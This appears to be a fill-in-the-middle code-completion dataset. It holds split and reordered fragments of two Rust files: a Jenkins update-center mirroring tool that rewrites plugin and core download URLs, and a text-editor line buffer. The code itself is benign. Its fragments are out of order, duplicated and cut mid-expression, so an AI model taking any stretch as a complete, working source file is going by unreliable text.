URL_KEY,
CORE_KEY
)),
};
let url_str = match url {
&mut Value::String(ref mut url_str) => url_str,
c => bail!(format!(
"Expected '{}' to contain string value, but found content: {:?}",
URL_KEY,
c
)),
};
let orig_url = url_str.to_owned();
*url_str = url_str.replace(url_replace_from, url_replace_into);
Ok(orig_url)
}
fn replace_core_url(
resp_outer_map: &mut MapStrVal,
url_replace_from: &str,
url_replace_into: &str,
) -> Result<String> {
let mut core = match resp_outer_map.get_mut(CORE_KEY) {
Some(core) => core,
None => bail!(format!(
"Unable to find '{}' for core URL replacement",
CORE_KEY
)),
};
replace_url_impl(&mut core, CORE_KEY, url_replace_from, url_replace_into)
}
fn replace_plugin_urls(
resp_outer_map: &mut MapStrVal,
url_replace_from: &str,
url_replace_into: &str,
) -> Result<Vec<String>> {
let plugins = match resp_outer_map.get_mut(PLUGINS_KEY) {
Some(plugins) => plugins,
None => bail!(format!(
"Unable to find '{}' for core URL replacement",
CORE_KEY
)),
};
let plugins_obj = match plugins {
&mut Value::Object(ref mut plugins_obj) => plugins_obj,
c => bail!(format!(
"Expected '{}' to be of object type, but found content: {:?}",
PLUGINS_KEY,
c
)),
};
let mut orig_urls = Vec::new();
for (key, mut plugin) in plugins_obj.iter_mut() {
let orig_url = replace_url_impl(plugin, key, url_replace_from, url_replace_into)?;
orig_urls.push(orig_url);
}
Ok(orig_urls)
}
fn run() -> Result<()> {
let arg_config = ArgConfig::from_args();
log4rs::init_file(&arg_config.log_config_path, Default::default()).chain_err(|| {
format!(
"Unable to initialize log4rs logger with the given config file at '{}'",
arg_config.log_config_path
)
})?;
let config_str = {
let mut config_file = File::open(&arg_config.config_path).chain_err(|| {
format!(
"Unable to open config file path at {:?}",
arg_config.config_path
)
})?;
let mut s = String::new();
config_file
.read_to_string(&mut s)
.map(|_| s)
.chain_err(|| "Unable to read config file into string")?
};
let config: FileConfig = toml::from_str(&config_str).chain_err(|| {
format!(
"Unable to parse config as required toml format: {}",
config_str
) | // write the body here
let mut client = Client::new();
client.set_redirect_policy(RedirectPolicy::FollowAll);
let mut resp = client.get(&config.update_center_url).send().chain_err(|| {
format!(
"Unable to perform HTTP request with URL string '{}'",
config.update_center_url
)
})?;
let mut resp_str = String::new();
resp.read_to_string(&mut resp_str)
.chain_err(|| "Unable to read HTTP response into string")?;
let resp_str = resp_str;
let trimmed_resp_str = resp_str
.trim_left_matches(&config.suppress_front)
.trim_right_matches(&config.suppress_back);
// JSON parsing all the way
let mut resp_json: Value = serde_json::from_str(trimmed_resp_str)
.chain_err(|| "Unable to parse trimmed JSON string into JSON value.")?;
// to stop borrowing early
let (core_orig_url, mut plugin_urls) = {
let mut resp_outer_map = match resp_json {
Value::Object(ref mut resp_outer_map) => resp_outer_map,
c => bail!(format!(
"Expected outer most JSON to be of Object type, but found content: {:?}",
c
)),
};
change_connection_check_url(
&mut resp_outer_map,
config.connection_check_url_change.to_owned(),
)?;
let core_orig_url = replace_core_url(
&mut resp_outer_map,
&config.url_replace_from,
&config.url_replace_into,
)?;
let plugin_urls = replace_plugin_urls(
&mut resp_outer_map,
&config.url_replace_from,
&config.url_replace_into,
)?;
(core_orig_url, plugin_urls)
};
// combine both the core + plugin links
let mut urls = vec![core_orig_url];
urls.append(&mut plugin_urls);
let urls = urls;
// write the modified JSON file
if config.auto_create_output_dir {
let create_parent_dir_if_present = |dir_opt: Option<&Path>| {
let dir_opt = dir_opt.and_then(|dir| {
// ignore if the directory has already been created
if Path::new(dir).is_dir() {
None
} else {
Some(dir)
}
});
match dir_opt {
Some(dir) => {
info!("Creating directory chain: {:?}", dir);
fs::create_dir_all(dir)
.chain_err(|| format!("Unable to create directory chain: {:?}", dir))
}
None => Ok(()),
}
};
create_parent_dir_if_present(config.modified_json_file_path.parent())?;
create_parent_dir_if_present(config.url_list_json_file_path.parent())?;
}
let mut json_file = File::create(&config.modified_json_file_path)
.chain_err(|| "Unable to open modified update-center file for writing")?;
let serialized_json = serde_json::to_string(&resp_json)
.chain_err(|| "Unable to convert modified JSON back into string for serialization")?;
// need to append back the trimmed left and right sides
json_file
.write_fmt(format_args!(
"{}{}{}",
config.suppress_front,
serialized_json,
config.suppress_back
))
.chain_err(|| "Unable to write modified serialized JSON to file")?;
let mut urls_file = File::create(&config.url_list_json_file_path)
.chain_err(|| "Unable to open file for writing URLs")?;
let urls_json = serde_json::to_string_pretty(&urls)
.chain_err(|| "Unable to convert list of URLs into pretty JSON form")?;
urls_file
.write_fmt(format_args!("{}", urls_json))
.chain_err(|| "Unable to write URLs in JSON form into file")?;
Ok(())
}
fn main() {
match run() {
Ok(_) => {
println!("Program completed!");
process::exit(0)
}
Err(ref e) => {
let stderr = &mut io::stderr();
writeln!(stderr, "Error: {}", e).expect("Unable to write error into stderr!");
for e in e.iter().skip(1) {
writeln!(stderr, "- Caused by: {}", e)
.expect("Unable to write error causes into stderr!");
}
process::exit(1);
}
}
} | })?;
info!("Completed configuration initialization!");
| random_line_split |
jenkins-mod-main.rs | #[macro_use]
extern crate error_chain;
extern crate hyper;
extern crate log4rs;
#[macro_use]
extern crate log;
#[macro_use]
extern crate serde_derive;
extern crate serde_json;
extern crate structopt;
#[macro_use]
extern crate structopt_derive;
extern crate toml;
use hyper::client::{Client, RedirectPolicy};
use serde_json::{Map, Value};
use std::fs::{self, File};
use std::io::{self, Read, Write};
use std::path::{Path, PathBuf};
use std::process;
use structopt::StructOpt;
mod errors {
error_chain! {
errors {
}
}
}
use errors::*;
#[derive(Serialize, Deserialize, Debug)]
struct FileConfig {
update_center_url: String,
suppress_front: String,
suppress_back: String,
connection_check_url_change: String,
url_replace_from: String,
url_replace_into: String,
auto_create_output_dir: bool,
modified_json_file_path: PathBuf,
url_list_json_file_path: PathBuf,
}
#[derive(StructOpt, Debug)]
#[structopt(name = "Test", about = "Test program")]
struct ArgConfig {
#[structopt(short = "c", long = "config", help = "File configuration path")]
config_path: String,
#[structopt(short = "l", long = "log-config", help = "Log configuration file path")]
log_config_path: String,
}
// const key names
const CONNECTION_CHECK_URL_KEY: &str = "connectionCheckUrl";
const CORE_KEY: &str = "core";
const PLUGINS_KEY: &str = "plugins";
const URL_KEY: &str = "url";
type MapStrVal = Map<String, Value>;
fn change_connection_check_url<S: Into<String>>(
resp_outer_map: &mut MapStrVal,
connection_check_url_change: S,
) -> Result<()> {
let connection_check_url = match resp_outer_map.get_mut(CONNECTION_CHECK_URL_KEY) {
Some(connection_check_url) => connection_check_url,
None => bail!(format!(
"Unable to find '{}' for changing connection URL",
CONNECTION_CHECK_URL_KEY
)),
};
let connection_check_url = match connection_check_url {
&mut Value::String(ref mut connection_check_url) => connection_check_url,
c => bail!(format!(
"Expected '{}' to contain string value, but found content: {:?}",
CONNECTION_CHECK_URL_KEY,
c
)),
};
*connection_check_url = connection_check_url_change.into();
Ok(())
}
fn replace_url_impl(
url_outer: &mut Value,
outer_key: &str,
url_replace_from: &str,
url_replace_into: &str,
) -> Result<String> {
let url_outer_map = match url_outer {
&mut Value::Object(ref mut url_outer_map) => url_outer_map,
c => bail!(format!(
"Expected '{}' to be an object, but found content: {:?}",
outer_key,
c
)),
};
let url = match url_outer_map.get_mut(URL_KEY) {
Some(url) => url,
None => bail!(format!(
"Expected '{}' to be present for '{}'",
URL_KEY,
CORE_KEY
)),
};
let url_str = match url {
&mut Value::String(ref mut url_str) => url_str,
c => bail!(format!(
"Expected '{}' to contain string value, but found content: {:?}",
URL_KEY,
c
)),
};
let orig_url = url_str.to_owned();
*url_str = url_str.replace(url_replace_from, url_replace_into);
Ok(orig_url)
}
fn replace_core_url(
resp_outer_map: &mut MapStrVal,
url_replace_from: &str,
url_replace_into: &str,
) -> Result<String> {
let mut core = match resp_outer_map.get_mut(CORE_KEY) {
Some(core) => core,
None => bail!(format!(
"Unable to find '{}' for core URL replacement",
CORE_KEY
)),
};
replace_url_impl(&mut core, CORE_KEY, url_replace_from, url_replace_into)
}
fn replace_plugin_urls(
resp_outer_map: &mut MapStrVal,
url_replace_from: &str,
url_replace_into: &str,
) -> Result<Vec<String>> {
let plugins = match resp_outer_map.get_mut(PLUGINS_KEY) {
Some(plugins) => plugins,
None => bail!(format!(
"Unable to find '{}' for core URL replacement",
CORE_KEY
)),
};
let plugins_obj = match plugins {
&mut Value::Object(ref mut plugins_obj) => plugins_obj,
c => bail!(format!(
"Expected '{}' to be of object type, but found content: {:?}",
PLUGINS_KEY,
c
)),
};
let mut orig_urls = Vec::new();
for (key, mut plugin) in plugins_obj.iter_mut() {
let orig_url = replace_url_impl(plugin, key, url_replace_from, url_replace_into)?;
orig_urls.push(orig_url);
}
Ok(orig_urls)
}
fn run() -> Result<()> {
let arg_config = ArgConfig::from_args();
log4rs::init_file(&arg_config.log_config_path, Default::default()).chain_err(|| {
format!(
"Unable to initialize log4rs logger with the given config file at '{}'",
arg_config.log_config_path
)
})?;
let config_str = {
let mut config_file = File::open(&arg_config.config_path).chain_err(|| {
format!(
"Unable to open config file path at {:?}",
arg_config.config_path
)
})?;
let mut s = String::new();
config_file
.read_to_string(&mut s)
.map(|_| s)
.chain_err(|| "Unable to read config file into string")?
};
let config: FileConfig = toml::from_str(&config_str).chain_err(|| {
format!(
"Unable to parse config as required toml format: {}",
config_str
)
})?;
info!("Completed configuration initialization!");
// write the body here
let mut client = Client::new();
client.set_redirect_policy(RedirectPolicy::FollowAll);
let mut resp = client.get(&config.update_center_url).send().chain_err(|| {
format!(
"Unable to perform HTTP request with URL string '{}'",
config.update_center_url
)
})?;
let mut resp_str = String::new();
resp.read_to_string(&mut resp_str)
.chain_err(|| "Unable to read HTTP response into string")?;
let resp_str = resp_str;
let trimmed_resp_str = resp_str
.trim_left_matches(&config.suppress_front)
.trim_right_matches(&config.suppress_back);
// JSON parsing all the way
let mut resp_json: Value = serde_json::from_str(trimmed_resp_str)
.chain_err(|| "Unable to parse trimmed JSON string into JSON value.")?;
// to stop borrowing early
let (core_orig_url, mut plugin_urls) = {
let mut resp_outer_map = match resp_json {
Value::Object(ref mut resp_outer_map) => resp_outer_map,
c => bail!(format!(
"Expected outer most JSON to be of Object type, but found content: {:?}",
c
)),
};
change_connection_check_url(
&mut resp_outer_map,
config.connection_check_url_change.to_owned(),
)?;
let core_orig_url = replace_core_url(
&mut resp_outer_map,
&config.url_replace_from,
&config.url_replace_into,
)?;
let plugin_urls = replace_plugin_urls(
&mut resp_outer_map,
&config.url_replace_from,
&config.url_replace_into,
)?;
(core_orig_url, plugin_urls)
};
// combine both the core + plugin links
let mut urls = vec![core_orig_url];
urls.append(&mut plugin_urls);
let urls = urls;
// write the modified JSON file
if config.auto_create_output_dir {
let create_parent_dir_if_present = |dir_opt: Option<&Path>| {
let dir_opt = dir_opt.and_then(|dir| {
// ignore if the directory has already been created
if Path::new(dir).is_dir() {
None
} else {
Some(dir)
}
});
match dir_opt {
Some(dir) => |
None => Ok(()),
}
};
create_parent_dir_if_present(config.modified_json_file_path.parent())?;
create_parent_dir_if_present(config.url_list_json_file_path.parent())?;
}
let mut json_file = File::create(&config.modified_json_file_path)
.chain_err(|| "Unable to open modified update-center file for writing")?;
let serialized_json = serde_json::to_string(&resp_json)
.chain_err(|| "Unable to convert modified JSON back into string for serialization")?;
// need to append back the trimmed left and right sides
json_file
.write_fmt(format_args!(
"{}{}{}",
config.suppress_front,
serialized_json,
config.suppress_back
))
.chain_err(|| "Unable to write modified serialized JSON to file")?;
let mut urls_file = File::create(&config.url_list_json_file_path)
.chain_err(|| "Unable to open file for writing URLs")?;
let urls_json = serde_json::to_string_pretty(&urls)
.chain_err(|| "Unable to convert list of URLs into pretty JSON form")?;
urls_file
.write_fmt(format_args!("{}", urls_json))
.chain_err(|| "Unable to write URLs in JSON form into file")?;
Ok(())
}
fn main() {
match run() {
Ok(_) => {
println!("Program completed!");
process::exit(0)
}
Err(ref e) => {
let stderr = &mut io::stderr();
writeln!(stderr, "Error: {}", e).expect("Unable to write error into stderr!");
for e in e.iter().skip(1) {
writeln!(stderr, "- Caused by: {}", e)
.expect("Unable to write error causes into stderr!");
}
process::exit(1);
}
}
}
| {
info!("Creating directory chain: {:?}", dir);
fs::create_dir_all(dir)
.chain_err(|| format!("Unable to create directory chain: {:?}", dir))
} | conditional_block |
jenkins-mod-main.rs | #[macro_use]
extern crate error_chain;
extern crate hyper;
extern crate log4rs;
#[macro_use]
extern crate log;
#[macro_use]
extern crate serde_derive;
extern crate serde_json;
extern crate structopt;
#[macro_use]
extern crate structopt_derive;
extern crate toml;
use hyper::client::{Client, RedirectPolicy};
use serde_json::{Map, Value};
use std::fs::{self, File};
use std::io::{self, Read, Write};
use std::path::{Path, PathBuf};
use std::process;
use structopt::StructOpt;
mod errors {
error_chain! {
errors {
}
}
}
use errors::*;
#[derive(Serialize, Deserialize, Debug)]
struct FileConfig {
update_center_url: String,
suppress_front: String,
suppress_back: String,
connection_check_url_change: String,
url_replace_from: String,
url_replace_into: String,
auto_create_output_dir: bool,
modified_json_file_path: PathBuf,
url_list_json_file_path: PathBuf,
}
#[derive(StructOpt, Debug)]
#[structopt(name = "Test", about = "Test program")]
struct ArgConfig {
#[structopt(short = "c", long = "config", help = "File configuration path")]
config_path: String,
#[structopt(short = "l", long = "log-config", help = "Log configuration file path")]
log_config_path: String,
}
// const key names
const CONNECTION_CHECK_URL_KEY: &str = "connectionCheckUrl";
const CORE_KEY: &str = "core";
const PLUGINS_KEY: &str = "plugins";
const URL_KEY: &str = "url";
type MapStrVal = Map<String, Value>;
fn | <S: Into<String>>(
resp_outer_map: &mut MapStrVal,
connection_check_url_change: S,
) -> Result<()> {
let connection_check_url = match resp_outer_map.get_mut(CONNECTION_CHECK_URL_KEY) {
Some(connection_check_url) => connection_check_url,
None => bail!(format!(
"Unable to find '{}' for changing connection URL",
CONNECTION_CHECK_URL_KEY
)),
};
let connection_check_url = match connection_check_url {
&mut Value::String(ref mut connection_check_url) => connection_check_url,
c => bail!(format!(
"Expected '{}' to contain string value, but found content: {:?}",
CONNECTION_CHECK_URL_KEY,
c
)),
};
*connection_check_url = connection_check_url_change.into();
Ok(())
}
fn replace_url_impl(
url_outer: &mut Value,
outer_key: &str,
url_replace_from: &str,
url_replace_into: &str,
) -> Result<String> {
let url_outer_map = match url_outer {
&mut Value::Object(ref mut url_outer_map) => url_outer_map,
c => bail!(format!(
"Expected '{}' to be an object, but found content: {:?}",
outer_key,
c
)),
};
let url = match url_outer_map.get_mut(URL_KEY) {
Some(url) => url,
None => bail!(format!(
"Expected '{}' to be present for '{}'",
URL_KEY,
CORE_KEY
)),
};
let url_str = match url {
&mut Value::String(ref mut url_str) => url_str,
c => bail!(format!(
"Expected '{}' to contain string value, but found content: {:?}",
URL_KEY,
c
)),
};
let orig_url = url_str.to_owned();
*url_str = url_str.replace(url_replace_from, url_replace_into);
Ok(orig_url)
}
fn replace_core_url(
resp_outer_map: &mut MapStrVal,
url_replace_from: &str,
url_replace_into: &str,
) -> Result<String> {
let mut core = match resp_outer_map.get_mut(CORE_KEY) {
Some(core) => core,
None => bail!(format!(
"Unable to find '{}' for core URL replacement",
CORE_KEY
)),
};
replace_url_impl(&mut core, CORE_KEY, url_replace_from, url_replace_into)
}
fn replace_plugin_urls(
resp_outer_map: &mut MapStrVal,
url_replace_from: &str,
url_replace_into: &str,
) -> Result<Vec<String>> {
let plugins = match resp_outer_map.get_mut(PLUGINS_KEY) {
Some(plugins) => plugins,
None => bail!(format!(
"Unable to find '{}' for core URL replacement",
CORE_KEY
)),
};
let plugins_obj = match plugins {
&mut Value::Object(ref mut plugins_obj) => plugins_obj,
c => bail!(format!(
"Expected '{}' to be of object type, but found content: {:?}",
PLUGINS_KEY,
c
)),
};
let mut orig_urls = Vec::new();
for (key, mut plugin) in plugins_obj.iter_mut() {
let orig_url = replace_url_impl(plugin, key, url_replace_from, url_replace_into)?;
orig_urls.push(orig_url);
}
Ok(orig_urls)
}
fn run() -> Result<()> {
let arg_config = ArgConfig::from_args();
log4rs::init_file(&arg_config.log_config_path, Default::default()).chain_err(|| {
format!(
"Unable to initialize log4rs logger with the given config file at '{}'",
arg_config.log_config_path
)
})?;
let config_str = {
let mut config_file = File::open(&arg_config.config_path).chain_err(|| {
format!(
"Unable to open config file path at {:?}",
arg_config.config_path
)
})?;
let mut s = String::new();
config_file
.read_to_string(&mut s)
.map(|_| s)
.chain_err(|| "Unable to read config file into string")?
};
let config: FileConfig = toml::from_str(&config_str).chain_err(|| {
format!(
"Unable to parse config as required toml format: {}",
config_str
)
})?;
info!("Completed configuration initialization!");
// write the body here
let mut client = Client::new();
client.set_redirect_policy(RedirectPolicy::FollowAll);
let mut resp = client.get(&config.update_center_url).send().chain_err(|| {
format!(
"Unable to perform HTTP request with URL string '{}'",
config.update_center_url
)
})?;
let mut resp_str = String::new();
resp.read_to_string(&mut resp_str)
.chain_err(|| "Unable to read HTTP response into string")?;
let resp_str = resp_str;
let trimmed_resp_str = resp_str
.trim_left_matches(&config.suppress_front)
.trim_right_matches(&config.suppress_back);
// JSON parsing all the way
let mut resp_json: Value = serde_json::from_str(trimmed_resp_str)
.chain_err(|| "Unable to parse trimmed JSON string into JSON value.")?;
// to stop borrowing early
let (core_orig_url, mut plugin_urls) = {
let mut resp_outer_map = match resp_json {
Value::Object(ref mut resp_outer_map) => resp_outer_map,
c => bail!(format!(
"Expected outer most JSON to be of Object type, but found content: {:?}",
c
)),
};
change_connection_check_url(
&mut resp_outer_map,
config.connection_check_url_change.to_owned(),
)?;
let core_orig_url = replace_core_url(
&mut resp_outer_map,
&config.url_replace_from,
&config.url_replace_into,
)?;
let plugin_urls = replace_plugin_urls(
&mut resp_outer_map,
&config.url_replace_from,
&config.url_replace_into,
)?;
(core_orig_url, plugin_urls)
};
// combine both the core + plugin links
let mut urls = vec![core_orig_url];
urls.append(&mut plugin_urls);
let urls = urls;
// write the modified JSON file
if config.auto_create_output_dir {
let create_parent_dir_if_present = |dir_opt: Option<&Path>| {
let dir_opt = dir_opt.and_then(|dir| {
// ignore if the directory has already been created
if Path::new(dir).is_dir() {
None
} else {
Some(dir)
}
});
match dir_opt {
Some(dir) => {
info!("Creating directory chain: {:?}", dir);
fs::create_dir_all(dir)
.chain_err(|| format!("Unable to create directory chain: {:?}", dir))
}
None => Ok(()),
}
};
create_parent_dir_if_present(config.modified_json_file_path.parent())?;
create_parent_dir_if_present(config.url_list_json_file_path.parent())?;
}
let mut json_file = File::create(&config.modified_json_file_path)
.chain_err(|| "Unable to open modified update-center file for writing")?;
let serialized_json = serde_json::to_string(&resp_json)
.chain_err(|| "Unable to convert modified JSON back into string for serialization")?;
// need to append back the trimmed left and right sides
json_file
.write_fmt(format_args!(
"{}{}{}",
config.suppress_front,
serialized_json,
config.suppress_back
))
.chain_err(|| "Unable to write modified serialized JSON to file")?;
let mut urls_file = File::create(&config.url_list_json_file_path)
.chain_err(|| "Unable to open file for writing URLs")?;
let urls_json = serde_json::to_string_pretty(&urls)
.chain_err(|| "Unable to convert list of URLs into pretty JSON form")?;
urls_file
.write_fmt(format_args!("{}", urls_json))
.chain_err(|| "Unable to write URLs in JSON form into file")?;
Ok(())
}
fn main() {
match run() {
Ok(_) => {
println!("Program completed!");
process::exit(0)
}
Err(ref e) => {
let stderr = &mut io::stderr();
writeln!(stderr, "Error: {}", e).expect("Unable to write error into stderr!");
for e in e.iter().skip(1) {
writeln!(stderr, "- Caused by: {}", e)
.expect("Unable to write error causes into stderr!");
}
process::exit(1);
}
}
}
| change_connection_check_url | identifier_name |
mod.rs | use core::iter::Iterator;
use super::*;
use crate::error_consts::*;
//#[test]
//mod test;
#[derive(Clone)]
pub struct Line {
tag: char,
matched: bool,
text: String,
}
pub struct VecBuffer {
saved: bool,
// Chars used for tagging. No tag equates to NULL in the char
buffer: Vec<Line>,
clipboard: Vec<Line>,
}
impl VecBuffer {
pub fn new() -> Self
{
Self{
saved: true,
buffer: Vec::new(),
clipboard: Vec::new(),
}
}
}
impl Buffer for VecBuffer {
// Index operations, get and verify
fn len(&self) -> usize {
self.buffer.len()
}
fn get_tag(&self, tag: char)
-> Result<usize, &'static str>
{
let mut index = 0;
for line in &self.buffer[..] {
if &tag == &line.tag { return Ok(index); }
index += 1;
}
Err(NO_MATCH)
}
fn get_matching(&self, pattern: &str, curr_line: usize, backwards: bool)
-> Result<usize, &'static str>
{
verify_index(self, curr_line)?;
use regex::RegexBuilder;
let regex = RegexBuilder::new(pattern)
.multi_line(true)
.build()
.map_err(|_| INVALID_REGEX)
?;
// Figure out how far to iterate
let length = if ! backwards {
self.buffer.len().saturating_sub(curr_line + 1)
} else {
curr_line
};
// Since the range must be positive we subtract from bufferlen for backwards
for index in 0 .. length {
if backwards {
if regex.is_match(&(self.buffer[curr_line - 1 - index].text)) {
return Ok(curr_line - 1 - index)
}
} else {
if regex.is_match(&(self.buffer[curr_line + index + 1].text)) {
return Ok(curr_line + index + 1)
}
}
}
Err(NO_MATCH)
}
// For macro commands
fn mark_matching(&mut self, pattern: &str, selection: (usize, usize), inverse: bool)
-> Result<(), &'static str>
{
use regex::RegexBuilder;
verify_selection(self, selection)?;
let regex = RegexBuilder::new(pattern)
.multi_line(true)
.build()
.map_err(|_| INVALID_REGEX)
?;
for index in 0 .. self.len() {
if index >= selection.0 && index <= selection.1 {
self.buffer[index].matched = regex.is_match(&(self.buffer[index].text)) ^ inverse;
}
else {
self.buffer[index].matched = false;
}
}
Ok(())
}
fn get_marked(&mut self)
-> Result<Option<usize>, &'static str>
{
for index in 0 .. self.buffer.len() {
if self.buffer[index].matched {
self.buffer[index].matched = false;
return Ok(Some(index));
}
}
Ok(None)
}
// Simple buffer modifications:
fn tag_line(&mut self, index: usize, tag: char)
-> Result<(), &'static str>
{
// Overwrite current char with given char
self.buffer[index].tag = tag;
Ok(())
}
// Take an iterator over &str as data
fn insert<'a>(&mut self, data: &mut dyn Iterator<Item = &'a str>, index: usize)
-> Result<(), &'static str>
{
// Possible TODO: preallocate for the insert
verify_index(self, index)?;
self.saved = false;
// To minimise time complexity we split the vector immediately
let mut tail = self.buffer.split_off(index);
// Then append the insert data
for line in data {
self.buffer.push(Line{tag: '\0', matched: false, text: line.to_string()});
}
// And finally the cut off tail
self.buffer.append(&mut tail);
Ok(())
}
fn cut(&mut self, selection: (usize, usize)) -> Result<(), &'static str>
{
verify_selection(self, selection)?;
self.saved = false;
let mut tail = self.buffer.split_off(selection.1 + 1);
self.clipboard = self.buffer.split_off(selection.0);
self.buffer.append(&mut tail);
Ok(())
}
fn change<'a>(&mut self, data: &mut dyn Iterator<Item = &'a str>, selection: (usize, usize))
-> Result<(), &'static str>
{
verify_selection(self, selection)?;
self.saved = false;
let mut tail = self.buffer.split_off(selection.1 + 1);
self.clipboard = self.buffer.split_off(selection.0);
for line in data {
self.buffer.push(Line{tag: '\0', matched: false, text: line.to_string()});
}
self.buffer.append(&mut tail);
Ok(())
}
fn mov(&mut self, selection: (usize, usize), index: usize) -> Result<(), &'static str> {
verify_selection(self, selection)?;
verify_index(self, index)?;
// Operation varies depending on moving forward or back
if index <= selection.0 {
// split out the relevant parts of the buffer
let mut tail = self.buffer.split_off(selection.1 + 1);
let mut data = self.buffer.split_off(selection.0);
let mut middle = self.buffer.split_off(index.saturating_sub(1));
// Reassemble
self.buffer.append(&mut data);
self.buffer.append(&mut middle);
self.buffer.append(&mut tail);
Ok(())
}
else if index >= selection.1 {
// split out the relevant parts of the buffer
let mut tail = self.buffer.split_off(index);
let mut middle = self.buffer.split_off(selection.1 + 1);
let mut data = self.buffer.split_off(selection.0);
// Reassemble
self.buffer.append(&mut middle);
self.buffer.append(&mut data);
self.buffer.append(&mut tail);
Ok(())
}
else {
Err(MOVE_INTO_SELF)
}
}
fn mov_copy(&mut self, selection: (usize, usize), index: usize) -> Result<(), &'static str> {
verify_selection(self, selection)?;
verify_index(self, index)?;
// Get the data
let mut data = Vec::new();
for line in &self.buffer[selection.0 ..= selection.1] {
data.push(line.clone());
}
// Insert it, subtract one if copying to before selection
let i = if index <= selection.0 {
index.saturating_sub(1)
}
else {
index
};
let mut tail = self.buffer.split_off(i);
self.buffer.append(&mut data);
self.buffer.append(&mut tail);
Ok(())
}
fn join(&mut self, selection: (usize, usize)) -> Result<(), &'static str> {
verify_selection(self, selection)?;
// Take out the lines that should go away efficiently
let mut tail = self.buffer.split_off(selection.1 + 1);
let data = self.buffer.split_off(selection.0 + 1);
self.buffer.append(&mut tail);
// Add their contents to the line left in
for line in data {
self.buffer[selection.0].text.pop(); // Remove the existing newline
self.buffer[selection.0].text.push_str(&line.text); // Add in the line
}
Ok(())
}
fn copy(&mut self, selection: (usize, usize)) -> Result<(), &'static str> {
verify_selection(self, selection)?;
self.clipboard = Vec::new();
// copy out each line in selection
for line in &self.buffer[selection.0 ..= selection.1] {
self.clipboard.push(line.clone());
}
Ok(())
}
fn paste(&mut self, index: usize) -> Result<usize, &'static str> {
verify_index(self, index)?;
// Cut off the tail in one go, to reduce time complexity
let mut tmp = self.buffer.split_off(index);
// Then append copies of all lines in clipboard
for line in &self.clipboard {
self.buffer.push(line.clone());
}
// Finally put back the tail
self.buffer.append(&mut tmp);
Ok(self.clipboard.len())
}
fn search_replace(&mut self, pattern: (&str, &str), selection: (usize, usize), global: bool) -> Result<(usize, usize), &'static str>
{
use regex::RegexBuilder;
// ensure that the selection is valid
verify_selection(self, selection)?;
self.saved = false; // TODO: actually check if changes are made
// Compile the regex used to match/extract data
let regex = RegexBuilder::new(pattern.0)
.multi_line(true)
.build()
.map_err(|_| INVALID_REGEX)
?;
let mut selection_after = selection;
// Cut out the whole selection from buffer
let mut tail = self.buffer.split_off(selection.1 + 1);
let before = self.buffer.split_off(selection.0 + 1);
// Save ourselves a little bit of copying/allocating
let mut tmp = self.buffer.pop().unwrap();
// Then join all selected lines together
for line in before {
tmp.text.push_str(&line.text);
}
// Run the search-replace over it
let mut after = if global {
regex.replace_all(&tmp.text, pattern.1).to_string()
}
else | ;
// If there is no newline at the end, join next line
if !after.ends_with('\n') {
if tail.len() > 0 {
after.push_str(&tail.remove(0).text);
}
else {
after.push('\n');
}
}
// Split on newlines and add all lines to the buffer
for line in after.lines() {
self.buffer.push(Line{tag: '\0', matched: false, text: format!("{}\n", line)});
}
// Get the end of the affected area from current bufferlen
selection_after.1 = self.buffer.len();
// Then put the tail back
self.buffer.append(&mut tail);
Ok(selection_after)
}
fn read_from(&mut self, path: &str, index: Option<usize>, must_exist: bool)
-> Result<usize, &'static str>
{
if let Some(i) = index { verify_index(self, i)?; }
let data = file::read_file(path, must_exist)?;
let len = data.len();
let mut iter = data.iter().map(| string | &string[..]);
let i = match index {
Some(i) => i,
// Since .change is not safe on an empty selection and we actually just wish to delete everything
None => {
self.buffer.clear();
0
},
};
self.insert(&mut iter, i)?;
Ok(len)
}
fn write_to(&mut self, selection: Option<(usize, usize)>, path: &str, append: bool)
-> Result<(), &'static str>
{
let data = match selection {
Some(sel) => self.get_selection(sel)?,
None => Box::new(self.buffer[..].iter().map(|line| &line.text[..])),
};
file::write_file(path, data, append)?;
if selection == Some((0, self.len().saturating_sub(1))) || selection.is_none() {
self.saved = true;
}
Ok(())
}
fn saved(&self) -> bool {
self.saved
}
// The output command
fn get_selection<'a>(&'a self, selection: (usize, usize))
-> Result<Box<dyn Iterator<Item = &'a str> + 'a>, &'static str>
{
verify_selection(self, selection)?;
let tmp = self.buffer[selection.0 ..= selection.1].iter().map(|line| &line.text[..]);
Ok(Box::new(tmp))
}
}
| {
regex.replace(&tmp.text, pattern.1).to_string()
} | conditional_block |
mod.rs | use core::iter::Iterator;
use super::*;
use crate::error_consts::*;
//#[test]
//mod test;
#[derive(Clone)]
pub struct Line {
tag: char,
matched: bool,
text: String,
}
pub struct VecBuffer {
saved: bool,
// Chars used for tagging. No tag equates to NULL in the char
buffer: Vec<Line>,
clipboard: Vec<Line>,
}
impl VecBuffer {
pub fn new() -> Self
{
Self{
saved: true,
buffer: Vec::new(),
clipboard: Vec::new(),
}
}
}
impl Buffer for VecBuffer {
// Index operations, get and verify
fn len(&self) -> usize {
self.buffer.len()
}
fn get_tag(&self, tag: char)
-> Result<usize, &'static str>
{
let mut index = 0;
for line in &self.buffer[..] {
if &tag == &line.tag { return Ok(index); }
index += 1;
}
Err(NO_MATCH)
}
fn get_matching(&self, pattern: &str, curr_line: usize, backwards: bool)
-> Result<usize, &'static str>
{
verify_index(self, curr_line)?;
use regex::RegexBuilder;
let regex = RegexBuilder::new(pattern)
.multi_line(true)
.build()
.map_err(|_| INVALID_REGEX)
?;
// Figure out how far to iterate
let length = if ! backwards {
self.buffer.len().saturating_sub(curr_line + 1)
} else {
curr_line
};
// Since the range must be positive we subtract from bufferlen for backwards
for index in 0 .. length {
if backwards {
if regex.is_match(&(self.buffer[curr_line - 1 - index].text)) {
return Ok(curr_line - 1 - index)
}
} else {
if regex.is_match(&(self.buffer[curr_line + index + 1].text)) {
return Ok(curr_line + index + 1)
}
}
}
Err(NO_MATCH)
}
// For macro commands
fn mark_matching(&mut self, pattern: &str, selection: (usize, usize), inverse: bool)
-> Result<(), &'static str>
{
use regex::RegexBuilder;
verify_selection(self, selection)?;
let regex = RegexBuilder::new(pattern)
.multi_line(true)
.build()
.map_err(|_| INVALID_REGEX)
?;
for index in 0 .. self.len() {
if index >= selection.0 && index <= selection.1 {
self.buffer[index].matched = regex.is_match(&(self.buffer[index].text)) ^ inverse;
}
else {
self.buffer[index].matched = false;
}
}
Ok(())
}
fn get_marked(&mut self)
-> Result<Option<usize>, &'static str>
{
for index in 0 .. self.buffer.len() {
if self.buffer[index].matched {
self.buffer[index].matched = false;
return Ok(Some(index));
}
}
Ok(None)
}
// Simple buffer modifications:
fn tag_line(&mut self, index: usize, tag: char)
